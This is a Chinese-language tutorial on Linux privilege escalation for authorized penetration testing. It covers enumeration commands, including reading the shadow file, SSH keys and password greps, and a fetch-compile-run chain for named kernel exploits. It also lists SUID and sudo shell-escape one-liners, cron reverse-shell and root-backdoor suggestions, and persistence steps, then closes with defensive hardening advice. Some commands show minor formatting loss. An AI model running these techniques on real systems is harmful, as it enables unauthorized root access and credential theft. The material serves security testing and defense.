如何利用Linux Exploit进行权限提升
导读:Linux 权限提升实战流程 一、合规与准备 仅在取得系统所有者的明确书面授权前提下进行,限定在测试环境或授权范围内操作。 准备隔离的实验环境(如虚拟机快照)、必要的编译与传输工具(如 gcc、python3、wget/curl、nc),...
Linux 权限提升实战流程
一、合规与准备
- 仅在取得系统所有者的明确书面授权前提下进行,限定在测试环境或授权范围内操作。
- 准备隔离的实验环境(如虚拟机快照)、必要的编译与传输工具(如 gcc、python3、wget/curl、nc),并制定回滚与取证方案。
- 全程记录命令与输出,避免对生产系统造成不可用或数据损坏。
二、系统化枚举
- 系统基础信息
- 查看内核与架构:uname -a
- 发行版信息:cat /etc/*-release
- 内核编译信息:cat /proc/version
- 用户与权限
- 当前身份与组:id、whoami
- 可 sudo 执行的命令:sudo -l
- 用户清单:cat /etc/passwd;影子文件:cat /etc/shadow(通常仅 root 可读)
- 进程、服务与网络
- 进程与服务:ps aux、top、systemctl list-units --type=service --all
- 监听与连接:netstat -tulpen 或 ss -tulpen
- 文件系统与敏感信息
- SUID/SGID 与可写目录:
- find / -perm -4000 -type f 2> /dev/null(SUID)
- find / -perm -2000 -type f 2> /dev/null(SGID)
- find / -writable -type d 2> /dev/null(可写目录)
- 历史与配置:history、cat ~/.bash_history、grep -Ri “password” /home /var/www 2> /dev/null
- SSH 凭据:~/.ssh/id_rsa、~/.ssh/authorized_keys
- SUID/SGID 与可写目录:
- 计划任务
- 当前与系统任务:crontab -l、cat /etc/crontab、ls -al /etc/cron、cat /var/spool/cron/crontabs/root*
- 自动化枚举脚本(上传后执行)
- LinEnum、Linuxprivchecker、Linux Exploit Suggester、unix-privesc-check、LinPEAS、pspy(用于无 root 观察进程/定时任务行为)
三、常见提权路径与利用要点
- 内核漏洞提权
- 思路:确认内核与发行版后匹配可用 EXP,优先选择影响面明确、稳定复现的 PoC。
- 常用命令链:
- 版本识别:uname -a、cat /etc/*-release
- 漏洞匹配:searchsploit linux kernel < 版本> 或 Linux Exploit Suggester
- 传输与编译:wget/curl 获取源码,gcc exploit.c -o exploit,chmod +x exploit & & ./exploit
- 代表性漏洞(示例):
- CVE-2016-5195 DirtyCow:影响广泛,低权限可写只读映射,获取 root。
- CVE-2022-0847 DirtyPipe:向只读文件写入,获取 root。
- CVE-2021-4034 PwnKit:polkit 本地提权,影响主流发行版。
- CVE-2019-13272:特定系统调用竞态导致的本地提权。
- 风险提示:内核利用可能导致系统崩溃/数据损坏,务必在可控环境验证并优先选择最小影响路径。
- SUID/SGID 滥用
- 思路:SUID/SGID 程序以文件所有者/组权限运行,若可被诱导执行任意代码,即可“借权”。
- 快速定位:find / -perm -4000 -type f 2> /dev/null
- 典型场景(示例,需实际验证可用性):
- find:find . -exec /bin/sh -p ; -quit
- vim:vim -c ‘:py import os; os.setuid(0); os.execl(“/bin/sh”,“sh”,“-c”,“reset; exec sh”)’
- bash:bash -p
- nmap(旧版):nmap --interactive 后 !sh
- sudo 权限滥用
- 思路:sudo -l 列出可免密或以 root 运行的命令,组合语言解释器或可被劫持的命令实现提权。
- 常见组合(示例):
- sudo vim -c ‘:!/bin/sh’
- sudo python -c ‘import os; os.system(“/bin/sh”)’
- sudo find / -exec bash -p ;
- 计划任务与服务配置错误
- 思路:检查脚本是否可写、是否以 root 运行、是否使用通配符或相对路径引入可被劫持的命令。
- 快速检查:crontab -l、cat /etc/crontab、ls -al /etc/cron、cat /var/spool/cron/crontabs/root*
- 若可写:注入反弹 Shell 或添加 root 后门(仅在授权范围内)。
- 环境变量劫持与 PATH 滥用
- 思路:当特权程序调用外部命令且使用相对路径或可写 PATH时,放置同名恶意程序劫持执行流。
- 排查:echo $PATH、which 、ls -la $(which )
- 可写文件与敏感备份
- 思路:全局可写文件(如 /etc/passwd 历史上可写时)、备份/配置文件(.bak、.conf、.config)常含明文凭据或可被替换的脚本入口。
四、从发现到利用的最小闭环示例
- 场景示例:发现 find 设置了 SUID 位
- 确认:find / -perm -4000 -type f 2> /dev/null | grep find
- 利用:find . -exec /bin/sh -p ; -quit(获得与 find 所有者一致的权限,常为 root)
- 稳定化:在授权范围内添加 root 公钥或创建高权限账户,并做好回滚记录。
- 场景示例:sudo 可调用 python
- 确认:sudo -l | grep python
- 利用:sudo python -c ‘import os; os.setuid(0); os.system(“/bin/sh”)’
- 验证:id 查看是否为 uid=0(root)
五、防护与检测要点
- 及时更新内核与组件,修补高危本地提权漏洞(如 DirtyCow、DirtyPipe、PwnKit 等)。
- 严格控制 SUID/SGID:仅对必要程序设置,定期审计并移除不必要的 SUID/SGID 位。
- 最小权限的 sudo 配置:仅授予必需命令,避免使用 ALL;对解释器与可写脚本进行隔离与审查。
- 安全的计划任务:脚本与目录最小权限,避免相对路径与通配符;任务以专用低权限账户运行。
- 文件与目录权限治理:禁止全局可写关键目录与文件;对 /etc、/var/www、~/.ssh 等重点路径设置严格 ACL。
- 日志与监控:集中采集 auth.log、syslog、cron 等日志;部署文件完整性监控与异常进程告警(如 pspy 辅助观察可疑调度/子进程行为)。
注意:本文仅用于合规的安全测试与防护研究。任何对未授权系统的测试、入侵或破坏行为均可能触犯法律并造成损害,请务必在取得明确授权的前提下进行。
声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!
若转载请注明出处: 如何利用Linux Exploit进行权限提升
本文地址: https://pptw.com/jishu/788477.html
